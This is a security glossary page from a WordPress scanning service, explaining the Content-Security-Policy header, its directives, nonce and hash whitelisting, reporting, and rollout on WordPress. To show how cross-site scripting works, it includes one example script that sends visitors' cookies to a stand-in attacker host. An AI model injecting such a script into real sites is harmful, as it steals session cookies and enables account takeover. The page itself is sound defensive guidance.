Glossary

What is Content-Security-Policy (CSP)?

February 8, 2026

Content-Security-Policy (CSP) is an HTTP response header that gives you fine-grained control over which resources the browser is allowed to load on your page. This includes scripts, stylesheets, images, fonts, iframes, and more. CSP is widely considered one of the most effective defenses against Cross-Site Scripting (XSS) attacks, which remain among the most common vulnerabilities on the web.

If you run a WordPress site, CSP is particularly relevant because WordPress sites typically load resources from many different sources: your own server, CDNs, analytics providers, font services, advertising networks, and whatever your plugins and theme pull in. CSP lets you define exactly which of those sources are allowed.

How a Cross-Site Scripting (XSS) Attack Works

To understand why CSP matters, it helps to see what it prevents. Here is a concrete example of how an XSS attack can play out on a WordPress site:

Suppose your site has a comment form, and the comment sanitization has a flaw (either in WordPress core, a plugin, or a custom theme function). An attacker submits a comment containing this snippet:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

If this script gets rendered on the page without proper escaping, every visitor who views that comment will have their browser execute this code. It sends their session cookies to the attacker's server. With those cookies, the attacker can log in as the victim, including as an administrator if an admin views the comment.

With a properly configured CSP, this attack fails. The browser checks the script against the policy and finds that inline scripts are not allowed (unless explicitly whitelisted). The script is blocked, and the browser logs a violation instead of executing the code.

CSP Header Syntax and Common Directives

A CSP header consists of directives, each specifying which sources are allowed for a particular type of resource. Here is an example:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com

Let's break down the most important directives:

  • default-src: The fallback policy for any resource type that doesn't have its own directive. If you set default-src 'self', only resources from your own domain are allowed by default.
  • script-src: Controls which JavaScript sources are allowed. This is the most security-critical directive because scripts have full access to the page DOM and cookies.
  • style-src: Controls which CSS sources are allowed. This often needs 'unsafe-inline' on WordPress sites because many plugins and themes inject inline styles.
  • img-src: Controls which image sources are allowed. The data: value allows inline base64 images, which some plugins use.
  • font-src: Controls where fonts can be loaded from. If you use Google Fonts, you need to whitelist https://fonts.gstatic.com.
  • connect-src: Controls which URLs can be reached via AJAX, Fetch API, or WebSocket connections. Important for sites using REST APIs or external services.
  • frame-src: Controls which origins can be embedded in iframes on your page. Relevant if you embed YouTube videos, Google Maps, or other third-party widgets.
  • frame-ancestors: Controls which sites can embed your page in an iframe. This is the CSP equivalent of X-Frame-Options (see KB-3).
  • base-uri: Restricts which URLs can be used in the <base> element. Setting this to 'self' prevents attackers from changing the base URL of your page.
  • form-action: Restricts where forms on your page can submit data. This can prevent phishing attacks where an attacker modifies a form's target URL.

Nonce-Based vs. Hash-Based Script Whitelisting

Blocking all inline scripts is the ideal approach, but sometimes inline scripts are necessary. CSP offers two secure alternatives to using 'unsafe-inline':

Nonce-based whitelisting works by generating a unique random token for each page load. You add this nonce to both the CSP header and the script tags:

Content-Security-Policy: script-src 'nonce-abc123random'
<script nonce="abc123random">
  // This script will execute because the nonce matches
</script>

The nonce must be different on every page load. An attacker who injects a script cannot know the current nonce, so their script is blocked. This approach works well when you control the HTML output and can add nonces dynamically.

Hash-based whitelisting uses a cryptographic hash of the script content:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='

The browser computes the hash of each inline script and checks it against the allowed hashes. This is useful for static inline scripts that don't change between page loads.

Monitoring with CSP Reporting Directives

CSP includes built-in reporting capabilities that let you monitor violations without breaking your site:

The report-uri directive (older, still widely supported) sends violation reports to a specified endpoint:

Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint

The newer report-to directive works with the Reporting API and offers more flexibility:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://yoursite.com/csp-reports"}]}

Several third-party services like Report URI, Sentry, and Datadog can collect and visualize CSP reports for you, which is extremely helpful when rolling out a new policy.

Testing with Content-Security-Policy-Report-Only

This is where most people should start. The Content-Security-Policy-Report-Only header behaves exactly like the regular CSP header, but instead of blocking violations, it only reports them. Nothing is actually blocked; the browser just logs what would have been blocked.

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpoint

This lets you see exactly which resources on your site would be affected by a CSP policy before you enforce it. You can check the browser's developer console for CSP violation messages, or collect structured reports via the reporting endpoints.

Why CSP Is Challenging on WordPress Sites

WordPress and CSP have a complicated relationship. The core challenge is that WordPress and its ecosystem were designed before CSP existed, and many common patterns conflict with strict CSP policies:

  • Inline scripts: WordPress core, WooCommerce, and many popular plugins inject inline JavaScript. A strict script-src policy without 'unsafe-inline' will break these.
  • Inline styles: Many plugins and page builders (Elementor, Divi, WPBakery) generate inline CSS. The Customizer also injects inline styles. This often forces you to use 'unsafe-inline' for style-src.
  • eval() usage: Some plugins use eval() or new Function(), which requires 'unsafe-eval' in script-src. This significantly weakens the protection.
  • Third-party resources: Analytics scripts (Google Analytics, Matomo), fonts (Google Fonts), CDNs, social media embeds, and advertising scripts all need to be explicitly whitelisted.
  • Plugin updates: A plugin update might suddenly load resources from a new domain, breaking your CSP without warning.

For practical WordPress CSP implementation, most site owners end up with a policy that allows 'unsafe-inline' for styles but restricts scripts and other resources as much as possible. This is a reasonable compromise that still provides meaningful protection.

Practical Steps for Adding CSP to WordPress

Here is a step-by-step approach that works in practice:

  1. Start with Content-Security-Policy-Report-Only set to default-src 'self' and a report endpoint.
  2. Browse your site thoroughly and check the violation reports. Note every blocked resource.
  3. Add the necessary source domains to your policy directives one by one.
  4. Test all critical functionality: login, checkout (if WooCommerce), forms, admin panel.
  5. Once the report-only policy shows no more violations during normal use, switch to the enforcing Content-Security-Policy header.
  6. Keep the reporting endpoint active even after enforcement so you catch new violations from plugin updates or content changes.

What InspectWP Checks

InspectWP checks whether your site sends a Content-Security-Policy header. If absent, the report flags that your site has no CSP protection against XSS and other injection attacks. If a policy is present, InspectWP displays the full policy string so you can review it. Keep in mind that having a CSP header with overly permissive directives (like default-src * or script-src 'unsafe-inline' 'unsafe-eval') provides very little actual protection.

Check your WordPress site now

InspectWP analyzes your WordPress site for security issues, SEO problems, GDPR compliance, and performance — for free.

Analyze your site free